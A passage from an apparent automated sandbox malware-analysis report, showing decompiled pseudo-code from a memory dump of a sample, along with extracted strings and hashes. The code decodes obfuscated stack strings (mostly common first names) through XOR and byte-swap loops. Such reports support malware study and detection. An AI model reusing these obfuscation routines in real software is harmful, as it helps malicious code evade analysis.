				_t596 = __esi;
				_t412 = __eax;
				do {
					_t483 =  *((intOrPtr*)(_t609 + _t412 + 0xd8));
					 *((char*)(_t609 + _t412 + 0xd8)) =  *((intOrPtr*)(_t609 + _t596 + 0xd8));
					_t412 = _t412 + 1;
					 *((char*)(_t609 + _t596 + 0xd8)) = _t483;
					_t596 = _t596 - 1;
				} while (_t412 < _t596);
				_a392 = _a216 ^ 0x000000c3;
				_a393 = _a217 ^ 0x00000041;
				_a394 = _a218 ^ 0x000000c0;
				_a395 = _a219 ^ 0x00000055;
				_push(4);
				_a396 = _a220 ^ 0x000000a6;
				_push( &_a20);
				 *0x431c89 = 0x19;
				_a397 = _a221 ^ 0x0000005d;
				_a20 = 0x89;
				_a21 = 0xda;
				_a22 = 8;
				_a23 = 0x66;
				_a12 = 0x42;
				_a13 = 0x28;
				_a14 = 0x41;
				_a15 = 0x2c;
				_a28 = E0040D980( &_a12);
				_a4 = 0xb7;
				_a5 = 0xde;
				_a6 = 0x21;
				_a7 = 0x73;
				_t419 = 0;
				_t597 = 3;
				do {
					_t489 =  *((intOrPtr*)(_t609 + _t419 + 0xc));
					 *((char*)(_t609 + _t419 + 0xc)) =  *((intOrPtr*)(_t609 + _t597 + 0xc));
					_t419 = _t419 + 1;
					 *((char*)(_t609 + _t597 + 0xc)) = _t489;
					_t597 = _t597 - 1;
				} while (_t419 < _t597);
				_a24 = _a4 ^ 0x00000019;
				_a25 = _a5 ^ 0x0000004e;
				_push(6);
				_push( &_a336);
				_t51 =  &_a208; // 0x78
				_a26 = _a6 ^ 0x000000bb;
				 *0x431c89 = 0x19;
				_a27 = _a7 ^ 0x000000b7;
				_a240 = 0x6a;
				_a241 = 0x6f;
				_a242 = 0x68;
				_a243 = 0x6e;
				_a244 = __ebx;
				_a336 = 0xf5;
				_a337 = 0x6f;
				_a338 = 0x36;
				_a339 = 0x2c;
				_a340 = 0x84;
				_a341 = 0x4f;
				_a208 = 0x45;
				_a209 = 0x24;
				_a210 = 0x48;
				_a211 = 0x21;
				_a212 = 0x42;
				_a213 = 0x27;
				_v4 = E0040D980(_t51);
				_a256 = 0x61;
				_a257 = 0x6e;
				_a258 = 0x6e;
				_a259 = 0x61;
				_a260 = __ebx;
				_a208 = 0x6e;
				_a209 = 0x3b;
				_a210 = 0x97;
				_a211 = 0xd3;
				_a212 = 0x92;
				_a213 = 0xcb;
				_a214 = 0x44;
				_t425 = 0;
				_t598 = 6;
				do {
					_t85 = _t598 + 0xe0; // 0x6e
					_t87 = _t425 + 0xe0; // 0x6e
					 *((char*)(_t609 + _t425 + 0xe0)) =  *((intOrPtr*)(_t609 + _t85));
					_t425 = _t425 + 1;
					 *((char*)(_t609 + _t598 + 0xe0)) =  *((intOrPtr*)(_t609 + _t87));
					_t598 = _t598 - 1;
				} while (_t425 < _t598);
				_t92 =  &_a208; // 0x6e
				_a448 =  *_t92 ^ 0x00000026;
				_a451 = _a211 ^ 0x000000bd;
				_a449 = _a209 ^ 0x000000b9;
				_a450 = _a210 ^ 0x000000f7;
				_a454 = _a214 ^ 0x0000006e;
				_a452 = _a212 ^ 0x000000f3;
				_a453 = _a213 ^ 0x0000005a;
				_a472 = 0x63;
				_a473 = 0x6c;
				_a474 = 0x61;
				_a475 = 0x75;
				_a476 = 0x64;
				_a477 = 0x69;
				_a478 = 0x61;
				_a479 = __ebx;
				_a200 = 0x71;
				_a201 = 0x6a;
				_a202 = 0x4c;
				_a203 = 0x72;
				_a204 = 0x4d;
				_a205 = 1;
				_t432 = 0;
				_t599 = 5;
				do {
					_t499 =  *((intOrPtr*)(_t609 + _t432 + 0xd8));
					 *((char*)(_t609 + _t432 + 0xd8)) =  *((intOrPtr*)(_t609 + _t599 + 0xd8));
					_t432 = _t432 + 1;
					 *((char*)(_t609 + _t599 + 0xd8)) = _t499;
					_t599 = _t599 - 1;
				} while (_t432 < _t599);
				_t130 =  &_a202; // 0x4c
				_a352 = _a200 ^ 0x00000069;
				_t132 =  &_a203; // 0x72
				_a353 = _a201 ^ 0x00000028;
				_t134 =  &_a204; // 0x4d
				_a354 =  *_t130 ^ 0x0000001e;
				_a355 =  *_t132 ^ 0x00000029;
				_a202 = 0xb5;
				_a203 = 0xb5;
				_a356 =  *_t134 ^ 0x00000004;
				_a357 = _a205 ^ 0x00000071;
				_a272 = 0x6a;
				_a273 = 0x61;
				_a274 = 0x6e;
				_a275 = 0x65;
				_a276 = __ebx;
				_a200 = 0x16;
				_a201 = 0xa9;
				_a204 = 0x78;
				_a205 = 0xb9;
				_t438 = 0;
				_t600 = 5;
				do {
					_t504 =  *((intOrPtr*)(_t609 + _t438 + 0xd8));
					 *((char*)(_t609 + _t438 + 0xd8)) =  *((intOrPtr*)(_t609 + _t600 + 0xd8));
					_t438 = _t438 + 1;
					 *((char*)(_t609 + _t600 + 0xd8)) = _t504;
					_t600 = _t600 - 1;
				} while (_t438 < _t600);
				_a392 = _a200 ^ 0x000000d4;
				_a393 = _a201 ^ 0x00000019;
				_a394 = _a202 ^ 0x000000c7;
				_a395 = _a203 ^ 0x000000dc;
				_push(6);
				_a396 = _a204 ^ 0x000000c8;
				_push( &_a424);
				 *0x431c89 = 0x19;
				_a397 = _a205 ^ 0x00000016;
				_a424 = 0x53;
				_a425 = 0x8b;
				_a426 = 0xa2;
				_a427 = 0x94;
				_a428 = 0x67;
				_a429 = 0x43;
				_a200 = 0x66;
				_a201 = 0x35;
				_a202 = 0x40;
				_a203 = 0x33;
				_a204 = 0x52;
				_a205 = 0x3c;
				_t607 = E0040D980( &_a200);
				_a400 = 0x6c;
				_a401 = 0x69;
				_a402 = 0x6e;
				_a403 = 0x64;
				_a404 = 0x61;
				_a405 = __ebx;
				_a448 = 0x73;
				_a449 = 0x61;
				_a450 = 0x6e;
				_a451 = 0x64;
				_a452 = 0x72;
				_a453 = 0x61;
				_a454 = __ebx;
				_a240 = 0x6c;
				_a241 = 0x69;
				_a242 = 0x73;
				_a243 = 0x61;
				_a244 = __ebx;
				_a192 = 0x61;
				_a193 = 1;
				_a194 = 0x45;
				_a195 = 0xff;
				_a196 = 0x6e;
				_a197 = 0xf4;
				_t445 = 0;
				_t601 = 5;
				do {
					_t510 =  *((intOrPtr*)(_t609 + _t445 + 0xdc));
					 *((char*)(_t609 + _t445 + 0xdc)) =  *((intOrPtr*)(_t609 + _t601 + 0xdc));
					_t445 = _t445 + 1;
					 *((char*)(_t609 + _t601 + 0xdc)) = _t510;
					_t601 = _t601 - 1;
				} while (_t445 < _t601);
				_a392 = _a192 ^ 0x00000099;
				_a393 = _a193 ^ 0x0000000f;
				_a394 = _a194 ^ 0x00000091;
				_a395 = _a195 ^ 0x00000026;
				_push(6);
				_a396 = _a196 ^ 0x00000078;
				_push( &_a360);
				_t229 =  &_a192; // 0x66
				 *0x431c89 = 0x19;
				_a397 = _a197 ^ 0x00000061;
				_a360 = __ebx;
				_a361 = 0xc3;
				_a362 = 0x49;
				_a363 = 0x83;
				_a364 = 0xfc;
				_a365 = 0x33;
				_a192 = 0x75;
				_a193 = 0x1e;
				_a194 = 0x7f;
				_a195 = 0xd;
				_a196 = 0x68;
				_a197 = 6;
				_t593 = E0040D980(_t229);
				_a272 = 0x62;
				_a273 = 0x65;
				_a274 = 0x74;
				_a275 = 0x74;
				_a276 = 0x79;
				_a277 = __ebx;
				_a280 = 0x68;
				_a281 = 0x65;
				_a282 = 0x6c;
				_a283 = 0x65;
				_a284 = 0x6e;
				_a285 = __ebx;
				_a208 = 0x73;
				_a209 = 0x61;
				_a210 = 0x6e;
				_a211 = 0x64;
				_a212 = 0x72;
				_a213 = 0x61;
				_a214 = __ebx;
				_a184 = 8;
				_a185 = 0xf;
				_a186 = 0x6d;
				_a187 = 0xa3;
				_a188 = 0x9f;
				_a189 = 0x98;
				_t516 = 0;
				_t602 = 5;
				do {
					_t452 =  *((intOrPtr*)(_t609 + _t516 + 0xdc));
					 *((char*)(_t609 + _t516 + 0xdc)) =  *((intOrPtr*)(_t609 + _t602 + 0xdc));
					_t516 = _t516 + 1;
					 *((char*)(_t609 + _t602 + 0xdc)) = _t452;
					_t602 = _t602 - 1;
				} while (_t516 < _t602);
				_a297 = _a185 ^ 0x000000f0;
				_a296 = _a184 ^ 0x000000dc;
				_a298 = _a186 ^ 0x000000cd;
				_a300 = _a188 ^ 0x0000006e;
				_a299 = _a187 ^ 0x00000003;
				_a301 = _a189 ^ 0x00000008;
				_a192 = 0x63;
				_a193 = 0x61;
				_a194 = 0x72;
				_a195 = 0x6f;
				_a196 = 0x6c;
				_a197 = __ebx;
				_a200 = 0xee;
				_a201 = 0x5b;
				_a202 = 0xc5;
				_a203 = 0x99;
				_a204 = 0x2f;
				_t521 = 0;
				_t603 = 4;
				do {
					_t457 =  *((intOrPtr*)(_t609 + _t521 + 0xec));
					 *((char*)(_t609 + _t521 + 0xec)) =  *((intOrPtr*)(_t609 + _t603 + 0xec));
					_t521 = _t521 + 1;
					 *((char*)(_t609 + _t603 + 0xec)) = _t457;
					_t603 = _t603 - 1;
				} while (_t521 < _t603);
				_a184 = _a200 ^ 0x0000005d;
				_a185 = _a201 ^ 0x000000ec;
				_a186 = _a202 ^ 0x000000b1;
				_a187 = _a203 ^ 0x00000033;
				_a188 = _a204 ^ 0x000000ee;
				_a28 = _a16;
				_a24 =  &_a224;
				_a32 =  &_a264;
				_a36 =  &_a288;
				_a40 =  &_a400;
				_a44 =  &_v8;
				_a48 =  &_a248;
				_a60 = _a20;
				_a52 =  &_a304;
				_a56 =  &_a344;
				_a64 = _a8;
				_a72 = _a12;
				_a68 =  &_a416;
				_a76 =  &_a320;
				_a80 =  &_a424;
				_a84 =  &_a360;
				_a88 = _a4;
				_a92 =  &_v0;
				_a96 =  &_a216;
				_a100 = _v20;
				_a104 =  &_a240;
				_a108 =  &_a432;
				_t361 =  &_a456; // 0x64
				_a112 = _t361;
				_a116 =  &_a336;
				_a120 =  &_a256;
				_a124 =  &_a376;
				 *0x431c89 = 0x19;
				_a200 = 0x73;
				_a201 = 0x68;
				_a202 = 0x61;
				_a203 = 0x72;
				_a204 = 0x6f;
				_a205 = 0x6e;
				_a206 = __ebx;
				_a128 = _t607;
				_a132 =  &_a392;
				_a136 =  &_a440;
				_t381 =  &_a232; // 0x6c
				_a140 = _t381;
				_t385 =  &_a280; // 0x68
				_a144 =  &_a384;
				_a152 =  &_a272;
				_a156 = _t385;
				_a160 =  &_a208;
				_a164 =  &_a296;
				_a168 =  &_a192;
				_t397 =  &_a328; // 0x72
				_a148 = _t593;
				_a172 =  &_a184;
				_a176 =  &_a200;
				_a180 = _t397;
				_t475 = E0040C1D0( &_a200);
				_t604 =  *((intOrPtr*)(_t609 + 0x38 + _t475 % 0x28 * 4));
				_t477 =  *((intOrPtr*)(_t609 + 0x38 + _t475 % 0x28 * 4));
				_t594 = _t477 + 1;
				do {
					_t539 =  *_t477;
					_t477 = _t477 + 1;
				} while (_t539 != __ebx);
				return E00424873(E004028A0(_a472, _t604, _t477 - _t594), _a456);
			}

0x0040e246
0x0040e246
0x0040e250
0x0040e257
0x0040e25e
0x0040e265
0x0040e266
0x0040e26d
0x0040e26e
0x0040e28c
0x0040e29a
0x0040e2ad
0x0040e2be
0x0040e2c5
0x0040e2cb
0x0040e2d5
0x0040e2da
0x0040e2e1
0x0040e2e8
0x0040e2ed
0x0040e2f2
0x0040e2f7
0x0040e2fc
0x0040e301
0x0040e306
0x0040e30b
0x0040e315
0x0040e319
0x0040e31e
0x0040e323
0x0040e328
0x0040e32d
0x0040e32f
0x0040e334
0x0040e338
0x0040e33c
0x0040e340
0x0040e341
0x0040e345
0x0040e346
0x0040e35b
0x0040e363
0x0040e367
0x0040e375
0x0040e376
0x0040e37d
0x0040e381
0x0040e388
0x0040e38c
0x0040e394
0x0040e39c
0x0040e3a4
0x0040e3ac
0x0040e3b3
0x0040e3bb
0x0040e3c3
0x0040e3cb
0x0040e3d3
0x0040e3db
0x0040e3e3
0x0040e3eb
0x0040e3f3
0x0040e3fb
0x0040e403
0x0040e40b
0x0040e418
0x0040e41c
0x0040e424
0x0040e42c
0x0040e434
0x0040e43c
0x0040e443
0x0040e44b
0x0040e453
0x0040e45b
0x0040e463
0x0040e46b
0x0040e473
0x0040e47b
0x0040e47d
0x0040e482
0x0040e482
0x0040e489
0x0040e490
0x0040e497
0x0040e498
0x0040e49f
0x0040e4a0
0x0040e4a4
0x0040e4bb
0x0040e4d1
0x0040e4df
0x0040e4ed
0x0040e503
0x0040e50a
0x0040e511
0x0040e518
0x0040e520
0x0040e528
0x0040e530
0x0040e538
0x0040e540
0x0040e548
0x0040e550
0x0040e557
0x0040e55f
0x0040e567
0x0040e56f
0x0040e577
0x0040e57f
0x0040e587
0x0040e589
0x0040e590
0x0040e597
0x0040e59e
0x0040e5a5
0x0040e5a6
0x0040e5ad
0x0040e5ae
0x0040e5c0
0x0040e5c9
0x0040e5d0
0x0040e5df
0x0040e5e6
0x0040e5ed
0x0040e5fb
0x0040e60a
0x0040e611
0x0040e618
0x0040e61f
0x0040e626
0x0040e62e
0x0040e636
0x0040e63e
0x0040e646
0x0040e64d
0x0040e655
0x0040e65d
0x0040e665
0x0040e66d
0x0040e66f
0x0040e680
0x0040e687
0x0040e68e
0x0040e695
0x0040e696
0x0040e69d
0x0040e69e
0x0040e6bc
0x0040e6ca
0x0040e6de
0x0040e6ef
0x0040e6f6
0x0040e6ff
0x0040e709
0x0040e711
0x0040e718
0x0040e71f
0x0040e727
0x0040e72f
0x0040e737
0x0040e73f
0x0040e747
0x0040e74f
0x0040e757
0x0040e75f
0x0040e767
0x0040e76f
0x0040e777
0x0040e784
0x0040e786
0x0040e78e
0x0040e796
0x0040e79e
0x0040e7a6
0x0040e7ae
0x0040e7b5
0x0040e7bd
0x0040e7c5
0x0040e7cd
0x0040e7d5
0x0040e7dd
0x0040e7e5
0x0040e7ec
0x0040e7f4
0x0040e7fc
0x0040e804
0x0040e80c
0x0040e813
0x0040e81b
0x0040e823
0x0040e82b
0x0040e833
0x0040e83b
0x0040e843
0x0040e845
0x0040e850
0x0040e857
0x0040e85e
0x0040e865
0x0040e866
0x0040e86d
0x0040e86e
0x0040e88c
0x0040e89a
0x0040e8ad
0x0040e8be
0x0040e8c5
0x0040e8ce
0x0040e8d8
0x0040e8d9
0x0040e8e0
0x0040e8e7
0x0040e8ee
0x0040e8f5
0x0040e8fd
0x0040e905
0x0040e90d
0x0040e915
0x0040e91d
0x0040e925
0x0040e92d
0x0040e935
0x0040e93d
0x0040e945
0x0040e952
0x0040e954
0x0040e95c
0x0040e964
0x0040e96c
0x0040e974
0x0040e97c
0x0040e983
0x0040e98b
0x0040e993
0x0040e99b
0x0040e9a3
0x0040e9ab
0x0040e9b2
0x0040e9ba
0x0040e9c2
0x0040e9ca
0x0040e9d2
0x0040e9da
0x0040e9e2
0x0040e9e9
0x0040e9f1
0x0040e9f9
0x0040ea01
0x0040ea09
0x0040ea11
0x0040ea19
0x0040ea1b
0x0040ea20
0x0040ea27
0x0040ea2e
0x0040ea35
0x0040ea36
0x0040ea3d
0x0040ea3e
0x0040ea5f
0x0040ea6d
0x0040ea7b
0x0040ea91
0x0040ea98
0x0040ea9f
0x0040eaa6
0x0040eaae
0x0040eab6
0x0040eabe
0x0040eac6
0x0040eace
0x0040ead5
0x0040eadd
0x0040eae5
0x0040eaed
0x0040eaf5
0x0040eafd
0x0040eaff
0x0040eb10
0x0040eb17
0x0040eb1e
0x0040eb25
0x0040eb26
0x0040eb2d
0x0040eb2e
0x0040eb4c
0x0040eb5d
0x0040eb6d
0x0040eb77
0x0040eb82
0x0040eb89
0x0040eb94
0x0040eb9f
0x0040ebaa
0x0040ebb5
0x0040ebbd
0x0040ebc8
0x0040ebd0
0x0040ebdf
0x0040ebee
0x0040ebf2
0x0040ebf6
0x0040ec01
0x0040ec0c
0x0040ec1b
0x0040ec26
0x0040ec2a
0x0040ec3d
0x0040ec44
0x0040ec4b
0x0040ec60
0x0040ec67
0x0040ec6e
0x0040ec83
0x0040ec91
0x0040ec98
0x0040ecad
0x0040ecb4
0x0040ecbb
0x0040ecc3
0x0040eccb
0x0040ecd3
0x0040ecdb
0x0040ece3
0x0040eceb
0x0040ecf2
0x0040ecf9
0x0040ed00
0x0040ed07
0x0040ed0e
0x0040ed23
0x0040ed2a
0x0040ed31
0x0040ed38
0x0040ed54
0x0040ed5b
0x0040ed62
0x0040ed77
0x0040ed7e
0x0040ed85
0x0040ed8c
0x0040ed93
0x0040ed9a
0x0040eda9
0x0040edad
0x0040edaf
0x0040edb2
0x0040edb2
0x0040edb4
0x0040edb5
0x0040edde

Strings

j, xrefs: 0040E626
t, xrefs: 0040E964
O, xrefs: 0040E3DB
B, xrefs: 0040E2FC
lmada, xrefs: 0040ED07
b, xrefs: 0040E954
a, xrefs: 0040EAAE
n, xrefs: 0040E42C
l, xrefs: 0040E786
(, xrefs: 0040E301
n, xrefs: 0040E3A4
n, xrefs: 0040E796
e, xrefs: 0040E99B
e, xrefs: 0040E63E
!, xrefs: 0040E3FB
d, xrefs: 0040E7CD
a, xrefs: 0040E7BD
s, xrefs: 0040ECBB
n, xrefs: 0040ECE3
e, xrefs: 0040E95C
f, xrefs: 0040E2F7
d, xrefs: 0040E79E
l, xrefs: 0040E520
m, xrefs: 0040E9F9
r, xrefs: 0040EAB6
s, xrefs: 0040E9B2
,, xrefs: 0040E3CB
r, xrefs: 0040E7D5
o, xrefs: 0040EABE
c, xrefs: 0040E518
<, xrefs: 0040E777
a, xrefs: 0040E62E
n, xrefs: 0040E636
Ljq, xrefs: 0040E5C0
a, xrefs: 0040E7A6
rebyc, xrefs: 0040ED77
j, xrefs: 0040E38C
s, xrefs: 0040E328
q, xrefs: 0040E557
t, xrefs: 0040E96C
o, xrefs: 0040E394
d, xrefs: 0040E9CA
,, xrefs: 0040E30B
n, xrefs: 0040E424
a, xrefs: 0040E9DA
c, xrefs: 0040EAA6
r, xrefs: 0040ECD3
i, xrefs: 0040E78E
x$], xrefs: 0040E376
n, xrefs: 0040E9C2
g, xrefs: 0040E73F
o, xrefs: 0040ECDB
A, xrefs: 0040E306
j, xrefs: 0040E55F
o, xrefs: 0040E3BB
6, xrefs: 0040E3C3
a, xrefs: 0040E7DD
hyb, xrefs: 0040ED23
I, xrefs: 0040E8FD
n, xrefs: 0040E7C5
y, xrefs: 0040E974
l, xrefs: 0040EAC6
C, xrefs: 0040E747
r, xrefs: 0040E9D2
a, xrefs: 0040E9BA
!, xrefs: 0040E323
a, xrefs: 0040E528
n, xrefs: 0040E9A3
dualc, xrefs: 0040EC6E
h, xrefs: 0040ECC3
fna, xrefs: 0040E8D9
s, xrefs: 0040E7B5
3, xrefs: 0040E915
a, xrefs: 0040E434
u, xrefs: 0040E530
a, xrefs: 0040ECCB
h, xrefs: 0040E39C
S, xrefs: 0040E71F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$A$B$C$I$Ljq$O$S$a$a$a$a$a$a$a$a$a$a$b$c$c$d$d$d$dualc$e$e$e$f$fna$g$h$h$hyb$i$j$j$j$l$l$l$lmada$m$n$n$n$n$n$n$n$n$n$o$o$o$o$q$r$r$r$r$rebyc$s$s$s$s$t$t$u$x$]$y
API String ID: 0-3286634472
Opcode ID: bd6bb27d60141563e35dc989fdf8730712766b0b72a44616c1c7e8647056d585
Instruction ID: 214f063a2eaa7479a4200d3698902748cf37a85b794205f16bdb65cf0bbf3bb2
Opcode Fuzzy Hash: bd6bb27d60141563e35dc989fdf8730712766b0b72a44616c1c7e8647056d585
Instruction Fuzzy Hash: C862AF2400D7C18AE332CB7894547DFFFD15BA6308F089EAED4DD6A292C6B60159CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00409F47, Relevance: 95.6, Strings: 76, Instructions: 616
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00409F47(void* __eax, char __ebx, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a28, char _a29, char _a30, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, intOrPtr _a372, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a408, char _a416, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a456, char _a464, char _a472, char _a480, char _a488, char _a496, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a520, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a568, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a624, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a668, char _a692, char _a693, char _a694, char _a695, char _a696, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t523;
				signed int _t524;
				void* _t525;
				intOrPtr _t527;
				intOrPtr _t533;
				void* _t534;
				void* _t535;
				intOrPtr _t536;
				void* _t537;
				void* _t538;
				void* _t539;
				void* _t540;
				intOrPtr _t542;
				void* _t543;
				void* _t548;
				intOrPtr _t551;
				intOrPtr _t552;
				void* _t553;
				void* _t554;
				intOrPtr _t557;
				void* _t561;
				char _t562;
				intOrPtr _t576;
				void* _t596;
				intOrPtr _t677;
				intOrPtr _t679;
				signed int _t680;
				intOrPtr _t682;
				void* _t684;
				void* _t686;
				void* _t687;
				void* _t688;
				void* _t689;
				void* _t690;

				_t523 = __eax;
				do {
					 *(_t684 + _t523 + 0x270) =  *(_t684 + _t523 + 0x270) ^ 0x000000df;
					_t523 = _t523 + 1;
				} while (_t523 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t524 = 0;
				do {
					 *(_t684 + _t524 + 0x260) =  *(_t684 + _t524 + 0x260) ^ 0x0000002e;
					_t524 = _t524 + 1;
				} while (_t524 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t525 = 0;
				do {
					 *((char*)(_t684 + _t525 + 0x1a8)) =  *((intOrPtr*)(_t684 + _t525 + 0x1a8)) +  *((intOrPtr*)(_t684 + _t525 + 0x17c));
					_t525 = _t525 + 1;
				} while (_t525 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t527 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t527;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = __ebx;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t533 = E00407370( &_a376);
				_t686 = _t684 + 0x18;
				_a72 = _t533;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t534 = 0;
				do {
					 *(_t686 + _t534 + 0x258) =  *(_t686 + _t534 + 0x258) ^  *(_t686 + _t534 + 0x17c);
					_t534 = _t534 + 1;
				} while (_t534 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t535 = 0;
				do {
					 *(_t686 + _t535 + 0x248) =  *(_t686 + _t535 + 0x248) ^ 0x00000083;
					_t535 = _t535 + 1;
				} while (_t535 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = __ebx;
				_t536 = E00407370( &_a380);
				_t687 = _t686 + 8;
				_a84 = _t536;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t537 = 0;
				do {
					 *(_t687 + _t537 + 0x278) =  *(_t687 + _t537 + 0x278) ^  *(_t687 + _t537 + 0x17c);
					_t537 = _t537 + 1;
				} while (_t537 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t538 = 0;
